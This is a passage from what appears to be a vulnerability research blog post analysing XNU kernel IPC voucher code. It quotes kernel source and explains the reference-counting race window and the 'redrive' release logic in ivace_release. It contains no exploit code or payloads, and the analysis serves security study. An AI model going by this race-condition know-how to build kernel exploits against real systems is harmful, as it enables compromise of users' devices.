<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>They grab the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s lock again and recalculate a pointer to the </span><span class="BGLtzooHlW-c11">ivace</span><span> (because the table could have been reallocated while the </span><span class="BGLtzooHlW-c11">ivac</span><span class="BGLtzooHlW-c10"> lock was dropped, and only the index into the table would be valid, not a pointer.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Then things get really weird; if </span><span class="BGLtzooHlW-c11">ivace->ivace_made</span><span> isn't equal to </span><span class="BGLtzooHlW-c11">made</span><span> but </span><span class="BGLtzooHlW-c11">user_data_release_value</span><span> did return </span><span class="BGLtzooHlW-c11">KERN_SUCCESS</span><span>, then they subtract the old value of </span><span class="BGLtzooHlW-c11">ivace_made</span><span> from the current value of </span><span class="BGLtzooHlW-c11">ivace_made</span><span>, and if </span><span class="BGLtzooHlW-c11">ivace_refs</span><span> is </span><span class="BGLtzooHlW-c11">0</span><span>, they use a </span><span class="BGLtzooHlW-c11">goto</span><span> statement to try to free the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span class="BGLtzooHlW-c10"> again?</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">If that makes complete sense to you at first glance then give yourself a gold star! Because to me at first that logic was completely impenetrable. We will get to the bottom of it though.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>We need to ask the question: under what circumstances will </span><span class="BGLtzooHlW-c11">ivace_made</span><span> and the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span>'s </span><span class="BGLtzooHlW-c11">e_made</span><span> field ever be different? To answer this we need to look back at </span><span class="BGLtzooHlW-c11">ipc_voucher_replace_value</span><span> where the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> and </span><span class="BGLtzooHlW-c11">ivace</span><span class="BGLtzooHlW-c10"> are actually allocated:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.6678b43a7a459c004d346e8b4b835a591c986cfd"></a><a id="t.48"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivam_get_value</span><span class="BGLtzooHlW-c2">)(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> previous_vals</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> previous_vals_count</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> content</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_flag</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">new_value_voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">...</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* </span><span class="BGLtzooHlW-c7 BGLtzooHlW-c23">WINDOW</span><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> val_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace_reference_by_value</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> new_value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> new_flag</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>We already looked at this code; if you can't remember what </span><span class="BGLtzooHlW-c11">ivam_get_value</span><span> or </span><span class="BGLtzooHlW-c11">ivace_reference_by_value</span><span class="BGLtzooHlW-c10"> are meant to do, I'd suggest going back and looking at those sections again.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Firstly, </span><span class="BGLtzooHlW-c11">ipc_voucher_replace_value</span><span> itself isn't holding any locks. It does however hold a few references (e.g., on the </span><span class="BGLtzooHlW-c11">ivac</span><span> and </span><span class="BGLtzooHlW-c11">ivam</span><span class="BGLtzooHlW-c10">.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">user_data_get_value</span><span> (the value of </span><span class="BGLtzooHlW-c11">ivam->ivam_get_value</span><span>) only takes the </span><span class="BGLtzooHlW-c11">user_data</span><span> lock (and not in all paths; we'll get to that) and </span><span class="BGLtzooHlW-c11">ivace_reference_by_value</span><span>, which increments </span><span class="BGLtzooHlW-c11">ivace->ivace_made</span><span> does that under the </span><span class="BGLtzooHlW-c11">ivac</span><span class="BGLtzooHlW-c10"> lock.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">e_made</span><span> should therefore </span><span class="BGLtzooHlW-c17">always</span><span> get incremented before any corresponding </span><span class="BGLtzooHlW-c11">ivace</span><span>'s </span><span class="BGLtzooHlW-c11">ivace_made</span><span> field. And there is a small window (marked as </span><span class="BGLtzooHlW-c23">WINDOW</span><span> above) where </span><span class="BGLtzooHlW-c11">e_made</span><span> will be </span><span class="BGLtzooHlW-c17">larger</span><span> than the </span><span class="BGLtzooHlW-c11">ivace_made</span><span> field of the </span><span class="BGLtzooHlW-c11">ivace</span><span> which will end up with a pointer to the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span>. If, in exactly that window shown above, another thread grabs the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s lock and drops the last reference (</span><span class="BGLtzooHlW-c11">ivace_refs</span><span>) on the </span><span class="BGLtzooHlW-c11">ivace</span><span> which currently points to that </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> then we'll encounter one of the more complex situations outlined above where, in </span><span class="BGLtzooHlW-c11">ivace_release</span><span> </span><span class="BGLtzooHlW-c11">ivace_made</span><span> is </span><span class="BGLtzooHlW-c17">not</span><span> equal to the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span>'s </span><span class="BGLtzooHlW-c11">e_made</span><span> field. The reason that there is special treatment of that case is that it's indicating that there is a live pointer to the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> which isn't yet accounted for by the </span><span class="BGLtzooHlW-c11">ivace</span><span>, and therefore it's not valid to free the </span><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">user_data_value_element.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Another way to view this is that it's a hack around not holding a lock across that window shown above.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">With this insight we can start to unravel the "redrive" logic:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c19 BGLtzooHlW-c11"></span></p><a id="t.1c71158a8af57bb6d3e831d618708883a379cc86"></a><a id="t.49"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">-=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">goto</span><span class="BGLtzooHlW-c4"> redrive</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">else</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * If the manager returned FAILURE, someone took a</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * reference on the value but have not updated the ivace,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * release the lock and return since thread who got</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * the new reference will update the ivace and will have</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * non-zero reference on the value.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Let's take the first case:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">made</span><span> is the value of </span><span class="BGLtzooHlW-c11">ivace->ivace_made</span><span> before the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s lock was dropped and re-acquired. If those are different, it indicates that a race did occur and another thread (or threads) revived this </span><span class="BGLtzooHlW-c11">ivace</span><span> (since even though the refs has gone to zero it hasn't yet been removed by this thread from the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s hash table, and even though it's been marked as being released by setting </span><span class="BGLtzooHlW-c11">ivace_releasing</span><span> to </span><span class="BGLtzooHlW-c11">TRUE</span><span class="BGLtzooHlW-c10">, that doesn't prevent another reference being handed out on a racing thread.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">There are then two distinct sub-cases:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>1) </span><span class="BGLtzooHlW-c11">(ivace->ivace_made != made)</span><span> and </span><span class="BGLtzooHlW-c19 BGLtzooHlW-c11">(KERN_SUCCESS == kr)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>We can now parse the meaning of this: this </span><span class="BGLtzooHlW-c11">ivace</span><span> was revived but that occurred after the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> was freed on this thread. The racing thread then allocated a *new* value which happened to be exactly the same as the </span><span class="BGLtzooHlW-c11">ivace_value</span><span> this </span><span class="BGLtzooHlW-c11">ivace</span><span> has, hence the other thread getting a reference on this </span><span class="BGLtzooHlW-c11">ivace</span><span> before this thread was able to remove it from the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s hash table. Note that for the </span><span class="BGLtzooHlW-c11">user_data</span><span> case the </span><span class="BGLtzooHlW-c11">ivace_value</span><span> is a pointer (making this particular case even more unlikely, but not impossible) but it isn't going to always be the case that the value is a pointer; at the </span><span class="BGLtzooHlW-c11">ivac</span><span> layer the </span><span class="BGLtzooHlW-c11">ivace_value</span><span> is actually a 64-bit </span><span class="BGLtzooHlW-c14">handle</span><span>. The </span><span class="BGLtzooHlW-c11">user_data</span><span class="BGLtzooHlW-c10"> attr chooses to store a pointer there.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>So what's happened in this case is that another thread has looked up an </span><span class="BGLtzooHlW-c11">ivace</span><span> for a new </span><span class="BGLtzooHlW-c11">ivace_value</span><span> which happens to </span><span class="BGLtzooHlW-c14">collide</span><span class="BGLtzooHlW-c10"> (due to having a matching pointer, but potentially different buffer contents) with the value that this thread had. I don't think this actually has security implications; but it does take a while to get your head around.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>If this is the case then we've ended up with a pointer to a revived ivace which now, despite having a matching </span><span class="BGLtzooHlW-c11">ivace_value</span><span>, is never-the-less semantically different from the </span><span class="BGLtzooHlW-c11">ivace</span><span> we had when this thread entered this function. The connection between our thread's idea of </span><span class="BGLtzooHlW-c11">ivace_made</span><span> and the </span><span class="BGLtzooHlW-c11">ivace_value</span><span>'s </span><span class="BGLtzooHlW-c11">e_made</span><span class="BGLtzooHlW-c10"> has been severed; and we need to remove our thread's contribution to that; hence:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.1577686d6e27cb6539edf4c668c25d37d0e6652c"></a><a id="t.50"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">-=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>2) </span><span class="BGLtzooHlW-c11">(ivace->ivace_made != made)</span><span> and </span><span class="BGLtzooHlW-c11">(0 == ivace->ivace_refs)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>In this case another thread (or threads) has raced, revived this ivace and then deallocated all their references. Since this thread set </span><span class="BGLtzooHlW-c11">ivace_releasing</span><span> to </span><span class="BGLtzooHlW-c11">TRUE</span><span> the racing thread, after decrementing </span><span class="BGLtzooHlW-c11">ivace_refs</span><span class="BGLtzooHlW-c10"> back to zero encountered this:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.26d470c1ed36965b7017da35a088eb61bd6b63c5"></a><a id="t.51"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>and returned early from </span><span class="BGLtzooHlW-c11">ivace_release</span><span>, despite having dropped </span><span class="BGLtzooHlW-c11">ivace_refs</span><span> to zero, and it's now this thread's responsibility to continue freeing this </span><span class="BGLtzooHlW-c11">ivace</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.695f8a6ea5856759df1540506f4e25734c86a633"></a><a id="t.52"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">goto</span><span class="BGLtzooHlW-c4"> redrive</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>You can see the location of the </span><span class="BGLtzooHlW-c11">redrive</span><span> label in the earlier snippets; it captures a new value from </span><span class="BGLtzooHlW-c11">ivace_made</span><span> before calling out to the attr manager again to try to free the </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10">.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>If we don't </span><span class="BGLtzooHlW-c11">goto redrive</span><span> then this </span><span class="BGLtzooHlW-c11">ivace</span><span> has been revived and is still alive, therefore all that needs to be done is set </span><span class="BGLtzooHlW-c11">ivace_releasing</span><span> to </span><span class="BGLtzooHlW-c11">FALSE</span><span class="BGLtzooHlW-c10"> and return.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The conditions under which the other branch is taken is nicely documented in a comment. This is the case when </span><span class="BGLtzooHlW-c11">ivace_made</span><span> is equal to </span><span class="BGLtzooHlW-c11">made</span><span>, yet </span><span class="BGLtzooHlW-c11">ivam_release_value</span><span> didn't return success (so the </span><span class="BGLtzooHlW-c11">ivace_value</span><span class="BGLtzooHlW-c10"> wasn't freed.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.5eb97c3d310b04e72ad54169750ec70dff549ca6"></a><a id="t.53"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * If the manager returned FAILURE, someone took a</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * reference on the value but have not updated the ivace,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * release the lock and return since thread who got</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * the new reference will update the ivace and will have</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * non-zero reference on the value.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>In this case, the code again just sets </span><span class="BGLtzooHlW-c11">ivace_releasing</span><span> to </span><span class="BGLtzooHlW-c11">FALSE</span><span class="BGLtzooHlW-c10"> and continues.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
